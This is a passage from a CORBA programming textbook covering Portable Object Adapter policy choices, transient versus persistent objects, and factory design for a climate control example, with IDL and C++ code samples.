implementations are based on third-party software that is not thread-safe and if you do 
not wish to implement code to serialize all calls to it, using the 
SINGLE_THREAD_MODEL guarantees that your servant invocations are serialized by 
the POA. 
 
In general, we recommend using the ORB_CTRL_MODEL value for the ThreadPolicy. 
As explained in Section 11.4.7, this is the default if you do not specify a 
ThreadPolicy value at POA creation time. Specify the SINGLE_THREAD_MODEL 
only if you know that your ORB does not support multithreading and you are not 
concerned with porting your application to another ORB that does, or if your servants are 
not designed to support concurrent invocations. 
 
In Chapter 21 we explain the POA threading models in much more detail. We also 
explore how your choice of whether your program is single- or multithreaded affects its 
throughput, performance, and scalability. 

11.14.2 ObjectId Assignment 

A simple rule for deciding whether a POA should have the USER_ID or SYSTEM_ID 
value for the IdAssignmentPolicy is to use system-assigned object identifiers for 
transient objects and use user-assigned identifiers for persistent objects. You typically use 
the USER_ID value for the IdAssignmentPolicy together with the PERSISTENT 
value for the LifespanPolicy because ObjectIds for persistent objects normally 
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contain some indication of where you store the persistent state of the object. As we 
describe in Section 11.4.2, applications might use file system pathnames or database 
keys for ObjectIds for persistent objects. For transient objects, letting the POA assign 
ObjectIds is the easiest approach because your application does not normally use the 
generated identifiers directly. 
 
As with all rules, however, this simple rule is not absolute. Applications can assign their 
own identifiers for use with transient objects, and POAs can also be created so that they 
assign identifiers for persistent objects. Using USER_ID with TRANSIENT can be 
helpful when the state of the transient objects is stored in an in-memory data structure 
rather than in the servants themselves. For example, for prototyping purposes we might 
write an application simulating our CCS that uses STL container classes to hold 
thermostat and thermometer data. In this case, we might want to use container keys as the 
ObjectIds for the transient objects our prototype creates. 
 
At the other end of the spectrum, using SYSTEM_ID together with PERSISTENT is 
unusual and somewhat awkward. The generated identifiers will have no meaningful 
mapping into the problem domain of the application and thus may not be very useful as 
identifiers for the persistent storage areas of the objects. We therefore recommend that 
you avoid the use of the SYSTEM_ID value for the IdAssignmentPolicy with the 
PERSISTENT value for the LifespanPolicy. 

11.14.3 Activation 

Using USER_ID together only with PERSISTENT, as we recommended in the 
preceding section, means that the same POA may not support the 
IMPLICIT_ACTIVATION value for the ImplicitActivationPolicy. This is 
because IMPLICIT_ACTIVATION requires SYSTEM_ID. Fortunately, this is precisely 
what we want, because implicit activation of persistent objects suffers from the same 
problems as using SYSTEM_ID with PERSISTENT. 
 
We recommend using IMPLICIT_ACTIVATION for POAs that also support the 
RETAIN value for the ServantRetentionPolicy (required), the SYSTEM_ID 
value for the IdAssignmentPolicy (also required), the UNIQUE_ID value for the 
IdUniquenessPolicy, and the TRANSIENT value for the LifespanPolicy. 
This is because using the _this function on a servant to implicitly create and activate 
transient objects is very handy for creating Policy objects, servant managers, iterators, 
and other transient objects. We recommend using the default 
NO_IMPLICIT_ACTIVATION for POAs that host persistent objects. 

11.14.4 Space-Time Trade-Offs 

Several POA policies are geared toward providing server applications with finegrained 
control over their space-time trade-offs on a per-POA basis. They allow trade-offs to be 
made concerning storage of ObjectId-to-servant associations and the number of 
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application up-calls required to complete a single request invocation. This control is key 
to providing scalability for applications that host many objects or receive many requests. 
There are two primary aspects to the space and time required for POA request 
dispatching. 
 
The time and space resources required for the POA to locate a servant associated with the 
ObjectId of the target object. This includes lookup in the Active Object Map, time 
required to invoke a servant manager, and time required to determine whether a default 
servant is being used. 
 
The time and space required by the servant to determine which object it is incarnating for 
a given request. 
For this analysis we ignore several costs: 
Costs due to the unmarshaling of request parameters and the marshaling of the response 
Costs related to the lookup and possible activation of the target POA 
Costs due to queuing requests (for single-threaded POAs) or acquiring mutex locks (for 
multithreaded POAs) 
 
We also assume that the same request is invoked in each case and that it always takes the 
same amount of time to complete. 

RETAIN with USE_ACTIVE_OBJECT_MAP_ONLY 

With RETAIN, the POA stores associations between ObjectIds and servants in an 
Active Object Map. This not only consumes space but also—assuming the POA 
implements its map using some kind of hashing algorithm—requires the POA to do more 
than just a simple memory access to locate a servant for a request. Naturally, both the 
quality of the hashing algorithm and the number of associations stored in the map greatly 
influence lookup efficiency and the amount of storage the map occupies. 
 
Note that under these circumstances, the value of the IdUniquenessPolicy does not 
affect the amount of storage required for the Active Object Map. This is because even if 
MULTIPLE_ID is in effect, each known ObjectId still requires a separate map entry. 
However, the use of MULTIPLE_ID affects the time it takes a servant to determine the 
identity of the object it is incarnating because it must access the POA Current object to 
obtain the target ObjectId. In a multithreaded environment, the POA Current is 
usually implemented using thread-specific storage, which can be costly to access. 

RETAIN with USE_SERVANT_MANAGER 

The combination of these policies can be the most expensive in terms of both space and 
time. In the worst case, when all objects hosted by the POA are invoked, the Active 
Object Map contains exactly the same entries it would if USE_SERVANT_MANAGER 
were not in effect, but the servant manager itself requires additional space and also adds 
time overhead to the initial request on each object. When the first request arrives for a 
given object, the POA first looks in its Active Object Map to find a servant to handle the 
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request. Then, finding none, it invokes its ServantActivator to obtain a servant. 
After that, the servant is stored in the Active Object Map and the ServantActivator 
will not be invoked again for that target object. 
 
The effects of the value of the IdUniquenessPolicy setting for this case are 
identical to the preceding case. 

RETAIN with USE_DEFAULT_SERVANT 

The space overhead for this policy combination depends directly on how many 
associations are stored in the Active Object Map. If most of the objects hosted by the 
POA are incarnated by the default servant, it means that there are few entries in the 
Active Object Map and storage requirements are minimized. On the other hand, if the 
default servant incarnates only a few objects, the Active Object Map holds many entries. 
Time overhead for servant lookup is slightly different for this case than for the preceding 
case because there is no ServantActivator to gradually fill the Active Object Map 
over time. If a request arrives for an object that has no Active Object Map entry, the 
default servant is invoked, and the Active Object Map is not changed. 
 
The effects of the value of the IdUniquenessPolicy setting for this case are almost 
identical to those for the preceding two RETAIN cases except for invocations made on 
the default servant. If the default servant incarnates the target object, it must always 
obtain the target ObjectId from the POA Current. 

NON_RETAIN with USE_SERVANT_MANAGER 

A NON_RETAIN POA has no Active Object Map, so storage requirements are minimized. 
However, time overhead can be significant because for each request, the POA must 
invoke its ServantLocator to obtain a servant. The amount of time required to obtain 
a servant depends almost entirely on the implementation of the ServantLocator. 
Also, unless the ServantLocator uses some sort of servant pool to manage servant 
instances, it must create and destroy a new servant on the heap for each request. This is 
not only costly in terms of time but may also increase the application's memory 
requirements due to heap fragmentation. 

NON_RETAIN with USE_DEFAULT_SERVANT 

This policy combination minimizes both space and time overhead. Space is minimized 
because the POA has no Active Object Map and all objects are incarnated with only a 
single servant. The time required to locate the servant is minimized because the POA 
need only access its default servant. However, a default servant must always determine 
the target ObjectId from the POA Current, so it may encounter time overhead due 
to thread-specific storage access. 

11.14.5 Life Span Considerations 
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Choosing whether your objects should be persistent or transient depends entirely on your 
application and the types of services it provides. Applications typically fall into one of 
two general categories. 

Service-Oriented Applications 

Applications that are service-oriented tend to support persistent objects that are very 
long-lived and stable. These objects are usually created once using either special options 
to the server program or using completely separate administrative programs. After they 
are created, the objects are advertised in the Naming Service (see Chapter 18), the 
Trading Service (see Chapter 19), or some other object reference advertising service. 
In fact, these services are themselves prime examples of service-oriented applications. 
 
For example, the entire purpose of a Naming Service is to allow applications to access 
and modify the name bindings that have been registered with it. The name bindings 
registered with the Naming Service are normally kept in persistent storage, typically 
some form of database. Thus, a server that implements the Naming Service essentially 
presents the contents of this persistent storage as CORBA objects. ORB implementations 
usually support the Naming Service by supplying options to the Naming server program 
that allow it to be used to create a persistent NamingContext object. The resulting 
object reference can then be configured into the ORB as the root NamingContext that 
is returned from the ORB::resolve_initial_references method. 
 
Service-oriented applications usually have two defining characteristics. 
They are composed of long-lived objects that are created and destroyed via administrative 
tools. 
The state of their objects is stored entirely within persistent storage. 
 
Because such applications have persistent object state, they are almost always candidates 
for POA features such as servant managers and default servants, which allow applications 
to avoid creating a separate servant for each object they host. ServantLocators are 
especially useful for service-oriented applications because their preinvoke and 
postinvoke operations allow persistent state to be loaded before a method call on the 
servant and to be written back to the persistent store after the call completes. 

Session-Oriented Applications 

Some server applications are designed so that clients first create the objects they intend to 
use, use those objects, and then destroy them. Such applications are session-oriented 
because most of their objects live only as long as each client session lasts. Such objects 
are known only to the client that created them (and perhaps also to other applications that 
cooperate closely with the client). 
 
In contrast to service-oriented applications, most objects hosted by session-oriented 
applications are created programmatically via requests on object factories. The factories 
themselves usually are persistent objects that are service-oriented and are thus advertised 
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in the Naming Service or the Trading Service. Clients first use these services to find the 
necessary factories, and then they make requests on the factories to create the session 
objects they need. 
 
Because they are intended to exist only for the duration of the client session, objects 
created within a session are transient rather than persistent. Being transient, these objects 
usually keep their state in memory rather than in persistent storage. If this ephemeral state 
is eventually made persistent, it is often written to persistent storage as the direct side 
effect of a client invocation on a session control object that provides a single point of 
control for the entire session. 
 
Transient session objects normally supply operations that allow clients to explicitly 
manage their life cycles. For example, by deriving from the standard 
LifeCycleObject supplied by the OMG Life Cycle Service, interfaces can inherit 
standardized copy, move, and remove operations. See Chapter 12 for more details 
concerning the Life Cycle Service and general CORBA object life cycle issues. 

Persistent Objects 

An ORB implementation that supports persistent CORBA objects must be able to locate 
them and deliver requests to them even if the server applications that host them are not 
currently executing and must be started. This implies that applications hosting persistent 
objects do not operate in isolation. Instead, such servers must be registered with the 
ORB's Implementation Repository to allow the ORB to track the objects they host and to 
be able to activate them when requests are invoked on those objects. Chapter 14 
provides details relating to Implementation Repositories and server activation. 

Transient Objects 

Unlike persistent objects, transient objects do not require significant support for location 
and activation. This makes them ideal for objects that are created only to deal with short-
lived or localized activities. For example, iterator objects that provide clients with 
sequential access to container objects are usually implemented as transient objects. Also, 
Policy objects, other locality-constrained objects, and servant managers are best 
created as transient objects because they are only useful within the process in which they 
are created. 
 
The standard policy values of the Root POA make it an ideal host for transient objects 
because it has the TRANSIENT value for the LifespanPolicy. It also has the 
SYSTEM_ID value for the IdAssignmentPolicy, and this means that the 
application need not create ObjectIds for objects it creates under the Root POA. 
Because the Root POA also has the IMPLICIT_ACTIVATION value for the 
ImplicitActivationPolicy, the UNIQUE_ID value for the 
IdUniquenessPolicy, and the RETAIN value for the 
ServantRetentionPolicy, it allows for simple object creation and activation via 
the servant's _this member function. Its USE_ACTIVE_OBJECT_MAP_ONLY value 
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for the RequestProcessingPolicy eliminates the complexity of using servant 
managers or default servants. In general, the Root POA allows applications to handle 
simple CORBA objects in a manner that is clear and straightforward. 
 
This is not to say, however, that transient objects are useful only with the Root POA. 
There are several meaningful uses for a POA that has policy values other than the 
TRANSIENT value that differ from those of the Root POA. 
 
Because the Root POA has the ORB_CTRL_MODEL value for the ThreadPolicy, an 
application that wants all requests for its transient objects dispatched sequentially 
requires a POA with the SINGLE_THREAD_MODEL value. 
 
An application could require a POA that hosts transient objects to have the USER_ID 
value for the IdAssignmentPolicy rather than the SYSTEM_ID value that the Root 
POA has. 
 
It can also be useful to use policies other than UNIQUE_ID and RETAIN for POAs that 
host transient objects. If the state of a transient object is persistent and can be accessed 
via the ObjectId of the target object, using MULTIPLE_ID, servant managers, or 
default servants for transient objects can sometimes be a suitable approach. For example, 
in Section 11.7.3 we discuss making the Thermometer and Thermostat objects 
transient. Because their states are stored in the devices themselves, a servant-per-object 
approach would not be required to implement this solution. 
 
Note, however, that an application that incarnates multiple transient CORBA objects 
using a single servant is somewhat unusual. A servant for a transient object usually holds 
its object's state in its class data members. Thus, it is not typical to use the 
MULTIPLE_ID value for the IdUniquenessPolicy or to use the 
USE_DEFAULT_SERVANT or USE_SERVANT_MANAGER values for the 
RequestProcessingPolicy for a POA that hosts transient objects. 
 
Generally, it is best to create transient object references for those objects whose states are 
ephemeral or whose lifetimes are each bounded by some surrounding context. For 
example, iterator objects are often created as a side effect of a client invoking an 
operation to return a list of the contents of a container object. Both the OMG Naming 
Service (Chapter 18) and the Trading Service ( Chapter 19) use this idiom. Clients 
are expected to immediately use the iterator and not to expect it to exist for as long a time 
as its associated container will exist. 
 
Although it is possible, you should think twice before using transient object references 
for objects that have persistent state. When a POA that creates a transient object is 
deactivated or destroyed, such as when the server application shuts down, any attempts 
by clients to invoke operations on that object will raise OBJECT_NOT_EXIST 
exceptions. This is misleading, given that the actual persistent state of the object may still 
exist, in which case it can most likely be accessed again by creating a new transient 
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CORBA object to replace the now non-existent one. For example, if invoking an 
operation on a Thermostat results in an OBJECT_NOT_EXIST exception, you would 
expect that the actual thermostat device no longer exists, and would not expect that 
someone has destroyed the CORBA object that represents it. 
 
The end result of misusing transient objects for objects with persistent state is that clients 
cannot reliably determine whether or not an object actually still exists via the 
OBJECT_NOT_EXIST exception. Instead, they must rely on user-defined exceptions 
thrown from the factory operations used to create the transient objects. This approach 
goes against one of the fundamental tenets of CORBA: object references should shield 
clients from the activation states of both servers and objects. 
 
CORBA provides no way for client applications to determine whether an object reference 
refers to a transient object or a persistent one, and it is not clear that it should allow 
clients to make such a determination. Therefore, to set client expectations appropriately, 
server applications should document those operations that return transient object 
references. In particular, clients should know that converting transient object references 
to strings and storing them for later use is most likely a waste of time. By the time they 
attempt to use them again, the objects they refer to will most likely no longer exist. 

11.15 Summary 

This chapter presents the details of the Portable Object Adapter. To support a wide range 
of applications, the POA is very flexible, and it thus has a large feature set. Trying to 
learn all the POA features all at once can be daunting even for CORBA programmers 
who already have experience with other object adapters. 
 
POAs deal mainly with three entities: object references, object identifiers (ObjectIds), 
and servants. POAs create object references, map objects to servants using object 
identifiers, and dispatch requests to servants. Much of the flexibility that the POA 
provides is intended to allow applications to control the mapping of objects to servants. 
 
Many POA features are directly controlled by applications through the use of POA 
policies. Policies are locality-constrained CORBA objects that are used to configure 
certain aspects of a POA when it is created. Object life span, request dispatching, and 
whether a POA is single- or multithreaded can all be controlled through POA policy 
objects. This chapter describes various policy combinations and explains how they apply 
to different types of common applications. 
 
Our presentation of the various features of the POA roughly follows the ordinary life 
cycle of a CORBA object and its servants. The POA allows CORBA objects and their 
object references to be created either with or without a servant. Applications can 
explicitly register servants for their objects, or they can supply servant managers to 
provide servants on demand as requests arrive. Servant managers are local CORBA 
objects that are implemented by the application. They help the POA map object 
identifiers for objects that are the targets of requests to servants that carry out those 
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requests. The POAManager and ORB interfaces also allow applications to control the 
flow of requests to servants and to integrate ORB event handling with event-handling 
loops for other software, such as GUI systems. This chapter also explains the conditions 
under which both servant and POAs can be safely destroyed. 
 
Overall, the POA provides outstanding flexibility to allow applications to control the 
allocation of servants to objects, the allocation of requests to threads and to servants, and 
the allocation of objects to POAs. Although there will always be application niches that 
are better served by specialized object adapters, the POA is flexible enough to support the 
vast majority of CORBA server applications. 
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Chapter 12. Object Life Cycle 

12.1 Chapter Overview 

This chapter covers the broad topic of object life cycle: how objects can be created, 
copied, moved, and destroyed. Sections 12.3 to 12.5 discuss the OMG Life Cycle 
Service, which provides a few design guidelines for how to define life cycle operations. 
Section 12.6 discusses the Evictor pattern. It is important because it permits you to 
limit memory consumption of servers that implement large numbers of objects. The 
chapter concludes with Sections 12.7 and 12.8, which discuss garbage collection 
strategies in a CORBA environment. 
 
Object life cycle is one of the most challenging topics in distributed systems, and we 
suggest you read this chapter in detail. Much of the information presented here is 
essential for building scalable and reliable applications. 

12.2 Introduction 

The climate control system developed in Chapter 11 has one drawback: there is no 
apparent way for a client to connect a newly installed device to the system. The controller 
could automatically discover new devices as they are connected to the network, but our 
hypothetical instrument control protocol does not offer this functionality. So the question 
arises, "How can we tell the climate control system that there is a new device on the 
network so that the server can instantiate a new CORBA object for the device?" 
 
This question is part of a topic generally known as object life cycle. Object life cycle 
addresses the issues of 
Object creation 
Object destruction 
Object copying 
Object movement 
 
The CORBAservices [21] Life Cycle Service addresses these issues. Unlike other OMG 
services, the Life Cycle Service is not a service that can be built by a vendor and simply 
used by clients. Instead, the Life Cycle Service describes a number of interfaces and 
design patterns you can choose to use for life cycle management of objects. In other 
words, the Life Cycle Service is largely a set of recommendations and not an 
implementable specification. 
 
About two-thirds of the Life Cycle specification is composed of a number of non-
normative addenda. These addenda cover the Compound Life Cycle specification, filters, 
administration, and support for objects in a Portable Common Tool Environment (PCTE) 
[3]. However, we are not aware of significant use of these addenda in current software 
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development projects, so we cover only the main part of the Life Cycle specification in 
this chapter. 

12.3 Object Factories 

The OMG Life Cycle specification recommends that CORBA applications use the 
Factory pattern [4] to create objects. A factory is a CORBA object that offers one or 
more operations to create other objects. To create a new object, a client invokes an 
operation on the factory; the operation's implementation creates a new CORBA object 
and returns a reference for the new object to the client. Factory operations in a distributed 
system play the role of the constructor in C++. The difference is that a factory operation 
creates a CORBA object in a possibly remote address space, whereas a C++ constructor 
always creates a C++ object in the local address space. Also, you invoke factory 
operations on existing objects, whereas you can invoke constructors without already 
having an existing object. 
 
Object creation is highly specific to the type of object being created. The actions taken by 
a factory vary greatly depending on whether it creates a document object, a person object, 
or a thermometer object. The type of object being created determines which parameters 
must be passed by the client. (Clearly, a client would pass different parameters to create a 
person object than it would to create a thermometer object.) 
 
To make all this more concrete, we will add factories to the climate control system. Here 
is one possible approach: 
      
#pragma prefix "acme.com" 
 
module CCS { 
 // ... 
 
 exception DuplicateAsset {}; 
 
 interface ThermometerFactory { 
    Thermometer create(in AssetType anum, in LocType loc) 
           raises(DuplicateAsset); 
    }; 
    interface ThermostatFactory { 
       Thermostat create( 
               in AssetType  anum, 
               in LocType   loc, 
               in TempType   temp 
                    ) raises(DuplicateAsset, Thermostat::BadTemp); 
  }; 
}; 
 
     
We have added two new interfaces to the specification. ThermometerFactory offers 
a create operation to create a new thermometer, and ThermostatFactory offers a 
create operation to create a new thermostat. 
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If we have just installed a new thermometer in the climate control system, we inform the 
system of the new thermometer's existence by calling the create operation on the 
ThermometerFactory interface. In response, the factory creates a new object 
reference for the device and returns it. 
 
Recall from Chapter 10 that the thermometer and thermostat devices have a unique 
asset number that is also used as the ICP network address. In addition, each device has a 
modifiable location attribute. We must pass these two items of information to the 
create operation. We pass an asset number because it informs the climate control 
system of the identity of the new device (that is, its network address), and we pass a 
location because the location is part of the initial state of the object. The implementation 
of create programs the location string into the new thermometer. Thermometers also 
have a model and a temperature attribute, but there is no point in passing values for 
these attributes to create. The model string is permanently programmed into the device 
itself and is therefore read-only. And, of course, there is no point in passing a temperature 
because it does not make sense to tell a thermometer what temperature it should report. 
 
To create a thermostat, the client must supply an additional parameter: the initial 
temperature setting for that thermostat. Again, the implementation of the create 
operation takes care of programming that nominal temperature into the device. 
 
Both create operations can raise a DuplicateAsset exception. We need this 
exception because if we were to permit two devices with the same asset number on the 
network, the controller could no longer distinguish between them. The create 
operation for thermostats can also raise a BadTemp exception to indicate that the 
requested initial temperature is out of range. 

12.3.1 Factory Design Options 

There are many different options for factory design, and the basic Factory pattern we 
showed in the preceding section is only one of them. 

Combined Factory 

Instead of using two separate interfaces, we can use a single factory to create both types 
of devices: 
        
#pragma prefix "acme.com" 
 
module CCS { 
  // ... 
 
  exception DuplicateAsset {}; 
 
  interface DeviceFactory { 
    Thermometer create_thermometer( 
           in AssetType   anum, 
           in LocType    loc 
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         )raises(DuplicateAsset); 
 
    Thermostat create_thermostat( 
            in AssetType  anum, 
            in LocType  loc, 
            in TempType  temp 
          )raises(DuplicateAsset, Thermostat::BadTemp); 
 }; 
}; 
 
       
This design is just as valid as the previous one but has different architectural 
consequences. With this new design, a single factory object must be able to create both 
thermometers and thermostats, whereas with the first design, each factory had knowledge 
only of a single device. The main consequence of combining the factory operations into a 
single interface is that it becomes harder to distribute our system over multiple server 
processes. For example, we might want an architecture such as the one shown in Figure 
12.1. 

Figure 12.1 A distributed climate control system. 

 
This architecture could be useful, for example, if we decide to buy thermometers and 
thermostats from different manufacturers that use incompatible instrument control 
protocols. In this case, it might be necessary to split our system into server processes as 
shown because, for example, the libraries for the two proprietary protocols might not be 
available for the same platform. (This example is not as contrived as it may appear. This 
sort of thing happens much more often in real IT environments than anyone would like to 
admit.) 
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By combining the factory operations into a single interface, we have made it harder to 
implement the factory. Logically, the factory still belongs with the controller server, but 
physically, the factory cannot exist only in the controller server; the POA does not allow 
us to create an object reference to an object in another address space. As you saw in 
Section 11.7.1, we can create an object reference by instantiating a servant and 
calling the _this member function, or we can create an object reference using the POA 
member function create_reference_with_id. However, no matter how we 
create the reference, it always denotes an object in the same server process as the calling 
code. Looking at our factory interface, it becomes clear that a factory inside the controller 
server cannot create a reference to a CORBA object in the thermometer server, at least 
not directly. 
 
This is not a deficiency in the POA. To create a reference in one server that denotes an 
object in another server, we would have to supply information that is not easily 
obtainable, such as the physical address of the server, the protocol (including the protocol 
version) to be used to communicate with the server, and the object ID of the target object. 
Not only is it unlikely that we would have the relevant details at hand, but also, if the 
POA were to allow creation of object references to another server, it would place itself 
firmly outside the CORBA object model. Remember that object references are opaque 
and application code is not allowed to see the details of the addressing and protocol 
information that is embedded inside object references. Moreover, the whole point of 
CORBA is that we do not need to worry about things such as physical network addresses 
and protocols, so permitting the creation of object references to other address spaces 
simply does not make sense. 
 
Nevertheless, you can have a factory that effectively creates object references for objects 
in another address space: the factory must delegate the creation to another factory that is 
collocated with the object it creates. For the architecture shown in Figure 12.1, a 
factory in the controller server would delegate creation of thermometers to a factory 
implemented in the thermometer server and would delegate the creation of thermostats to 
a factory implemented in the thermostat server. 

Combined Collection and Factory 

Yet another option, a variation on the preceding one, is to add the factory operations to 
the Controller interface instead of using a separate factory object: 
        
#pragma prefix "acme.com" 
 
module CCS { 
  // ... 
 
  interface Controller { 
 
    exception DuplicateAsset {}; 
 
    Thermometer create_thermometer( 
           in AssetType  anum, 
           in LocType   loc 
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         )raises(DuplicateAsset); 
 
    Thermostat create_thermostat( 
            in AssetType  anum, 
            in LocType   loc, 
            in TempType   temp 
          )raises(DuplicateAsset, Thermostat::BadTemp); 
 
    // Other operations... 
  }; 
}; 
 
       
The actual operation definitions are identical to the preceding example, but we have 
moved them into the controller interface. Again, whether this is a reasonable design 
depends on the application and how we want to distribute it over physical server 
processes. By adding the factory operations to the Controller interface, we commit 
ourselves to implementing the factory operations and the collection-manager operations 
(such as list) in the same server process. This is not necessarily a bad thing; the 
Controller interface already acts as a collection manager for our devices, so we 
might as well have the device creation operations on that interface too. However, from a 
purist's perspective, we no longer have a clean separation of concerns. A pure object 
model would have separate factory and collection interfaces, and the collection interface 
would offer an operation to add a device to the collection. 
 
The main point to keep in mind when designing interfaces is that you cannot split the 
implementation of a single interface across multiple server processes (at least not without 
resorting to explicit delegation). An IDL interface defines the smallest grain of 
distribution in the CORBA object model, and therefore the design of interfaces 
determines, at least in part, how a logical system can be partitioned over physical server 
processes. 

Pure Collection and Factory 

Here is the pure version of the object model: 
        
#pragma prefix "acme.com" 
 
module CCS { 
 // ... 
 
 exception DuplicateAsset {}; 
 
 interface ThermometerFactory { 
   Thermometer create(in AssetType anum, in LocType loc) 
          raises(DuplicateAsset); 
 }; 
 
 interface ThermostatFactory { 
    Thermostat create( 
            in AssetType  anum, 
            in LocType   loc, 
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            in TempType   temp 
          )raises(DuplicateAsset, Thermostat::BadTemp); 
}; 
interface Controller { 
 
  exception DuplicateDevice {}; 
  exception NoSuchDevice {}; 
 
  void  add_device(in Thermometer t); 
  void  remove_device(in Thermometer t); 
 
  // Other operations... 
 }; 
}; 
 
       
In this design, the factories and the controller are separate interfaces. Moreover, the 
controller now acts as a pure collection because it provides explicit add_device and 
remove_device operations. This design provides better separation of concerns: 
factories do nothing except create devices, and the controller is simply a collection of 
references to these devices. This design eliminates the hidden communication between 
the factory and the controller that was present in the previous designs. Instead of 
"magically" knowing about a newly created device, the controller is explicitly informed 
when a new device has been added. 
 
The downside of this design is that it places more responsibility for keeping the object 
model consistent on either the client or the factory. If we place the responsibility for 
consistency on the client, the client must both explicitly create a new device and call the 
add_device operation to add the device to the controller. This makes the device 
creation process more complex for the client and requires two remote messages instead of 
one. Alternatively, if we place the responsibility for consistency on the factory, the 
factory must call the add_device operation. This simplifies device creation for clients 
but adds a dependency between the factory and the controller because the factory now 
must somehow know which controller to add the new device to. 
 
This kind of trade-off is typical for object models. A pure model that offers better 
separation of concerns usually also requires more messages to be exchanged because in a 
pure model, objects do not share hidden state. 

Bulk Factories 

In the climate control system, it is unlikely that we will need to frequently add large 
numbers of devices. However, for more ephemeral objects—for example, objects 
representing Web pages—we may find that having to send a separate message for each 
object to be created is too slow. In this case, we can choose to define an operation that 
creates objects in bulk: 
        
module CCS { 
  // ... 
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  exception DuplicateAsset {}; 
 
  typedef sequence<Thermometer> ThermometerSeq; 
 
  struct InitTherm { 
     AssetType  anum; 
     LocType  loc; 
  }; 
  typedef sequence<InitTherm> InitThermSeq; 
 
  interface BulkThermometerFactory { 
     ThermometerSeq create(in InitThermSeq details) 
          raises(DuplicateAsset, Thermostat::BadTemp); 
  }; 
  // ... 
}; 
 
       
Instead of passing the initial state for a single thermometer to the create operation, we 
pass a sequence of InitTherm structures, one for each thermometer to be created. The 
operation creates as many CORBA objects as there are elements in the details 
sequence and returns their references. 
 
The main advantage of this design is that it reduces messaging overhead and is therefore 
more efficient. On the downside, it makes error handling more complex. For example, if 
one of the InitTherm structures contains an invalid temperature, it is no longer clear 
which particular structure caused the problem unless we also add additional information 
to the data returned by a BadTemp exception. Your application may not need to 
distinguish the offending entry, but the example shows that bulk operations also add new 
failure semantics to the system that may require precise handling. 

Bulk Factories without a Return Value 

Yet another variation on the object creation theme is the following: 
        
// As before... 
 
interface BulkThermometerFactory { 
   void   create(in InitThermSeq details) 
          raises(DuplicateAsset, Thermostat::BadTemp); 
}; 
 
       
The only difference between this version and the preceding version is that the create 
operation has no return value. The assumption built into this design is that after creating 
the devices, the client will use the list or find operation on the controller to acquire 
the device references. Again, whether this design is appropriate depends entirely on how 
we anticipate that the application will be used. For example, this version is appropriate if 
we use separate clients for the creation and the monitoring of devices. If special-purpose 
clients only create devices and do not monitor them, there is little point in returning 
object references to the clients because they would simply ignore them. 
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Deciding On a Factory Design 

The preceding discussion of design options applies not only to factories but also to almost 
every object system that uses more than one type of object. If the different objects in the 
system need to communicate with one another, the design of the IDL interfaces has 
profound influence on the system's ease of use for clients as well as its reliability, its 
performance, and its physical architecture. 
 
If nothing else, the preceding discussion should make it clear that it pays to think before 
deciding on a particular interface design. In particular, an object model that may be 
perfectly appropriate inside a C++ program may disappoint you if you naively translate it 
into its IDL equivalent. What is appropriate for C++ is not necessarily appropriate for 
CORBA. In particular, the cost of sending a remote message over a network is orders of 
magnitude larger than the cost of a C++ method invocation. As a result, not only is it 
important for you to choose the correct communication model between interfaces, but it 
is also important that you correctly distribute interface instances over physical server 
processes. If you implement objects that require a high message exchange rate in 
different servers, performance will be reduced accordingly. 
 
In a sense, the preceding should not come as a surprise. Interface design has profound 
influence on system performance in most environments, and CORBA is no exception. 
Because this book is not about object-oriented design, we say little more about this topic 
in the remaining chapters. You can consult any number of books to learn more. However, 
we briefly return to the cost of remote messages in Chapter 22. 

12.3.2 Implementing Factories with C++ 

For the remainder of this chapter, we use persistent objects for our climate control system. 
In addition, we use a servant manager to bring servants into memory on demand. These 
choices require a number of changes to the climate control system. 
 
The controller must maintain a list of asset numbers on secondary storage to keep track of 
known devices. This is necessary because otherwise, the list operation cannot be 
implemented (the ICP network does not support discovery). For this simple example, we 
read the complete list of asset numbers from a file in the controller's constructor and write 
the list of asset numbers back to the file in the destructor. (A more realistic application 
would update the list on secondary storage immediately when a device is added or 
removed.) You can find the class definition for the Controller_impl servant in 
Section 10.11.1. Here is the code for the constructor: 
       
Controller_impl:: 
Controller_impl( 
    PortableServer::POA_ptr poa, 
    const char *            asset_file 
) throw(int) : m_poa(PortableServer::POA::_duplicate(poa)), 
               m_asset_file(asset_file) 
{ 
  fstream afile(m_asset_file, ios::in|ios::out, 0666); 
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  if (!afile) { 
      cerr < < "Cannot open " < < m_asset_file < < endl; 
      throw 0; 
  } 
  CCS::AssetType anum; 
  while (afile >> anum) 
      m_assets[anum] = 0; 
  afile.close(); 
  if (!afile) { 
      cerr < < "Cannot close " < < m_asset_file < < endl; 
      throw 0; 
  } 
} 
 
      
Note that the file name is passed to the constructor and is remembered in the private 
member variable m_asset_file. (We return to the purpose of the m_poa member 
shortly.) The constructor iterates over the input file (creating it if necessary) and inserts 
each asset number into the m_assets map with a null servant pointer. This action 
initializes the m_assets map with all known asset numbers. However, no servants are 
instantiated at this point. Instead, an asset number with a null servant pointer indicates 
that the device exists but has no servant in memory. 
 
The controller's destructor runs when the server shuts down and writes the known asset 
numbers back to the file: 
       
Controller_impl:: 
~Controller_impl() 
{ 
    // Write out the current set of asset numbers 
    // and clean up all servant instances. 
    ofstream afile(m_asset_file); 
    if (!afile) { 
        cerr < < "Cannot open " < < m_asset_file < < endl; 
        abort(); 
    } 
    AssetMap::iterator i; 
    for (i = m_assets.begin(); i != m_assets.end(); i++) { 
        afile < < i->first < < endl; 
        if (!afile) { 
            cerr < < "Cannot update " < < m_asset_file < < endl; 
            abort(); 
        } 
        delete i->second; 
} 
    afile.close(); 
    if (!afile) { 
        cerr < < "Cannot close " < < m_asset_file < < endl; 
        abort(); 
    } 
} 
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Note that the loop also deletes each instantiated servant. (If a servant pointer is null, the 
delete does nothing.) This technique ensures that the destructor for all instantiated 
servants is invoked so that servants can properly finalize their state before the server 
shuts down. 
 
For this example, we are using the combined collection and factory approach we describe 
on page 533, in which the controller offers a creation operation for each type of device. 
(The implementation of the factory operations for the other options we discussed is very 
similar.) Here is the code for create_thermometer: 
       
CCS::Thermometer_ptr 
Controller_impl:: 
create_thermometer(CCS::AssetType anum, const char * loc) 
throw(CORBA::SystemException, CCS::Controller::DuplicateAsset) 
{ 
    // Make sure the asset number is new. 
    if (exists(anum)) 
        throw CCS::Controller::DuplicateAsset(); 
 
    // Add the device to the network and program its location. 
    if (ICP_online(anum) != 0) 
        abort(); 
    if (ICP_set(anum, "location", loc) != 0) 
        abort(); 
    // Add the new device to the m_assets map. 
    add_impl(anum, 0); 
    // Create an object reference for the device and return it. 
    return make_dref(m_poa, anum); 
} 
 
      
The code first checks whether a device having the asset number passed in already exists. 
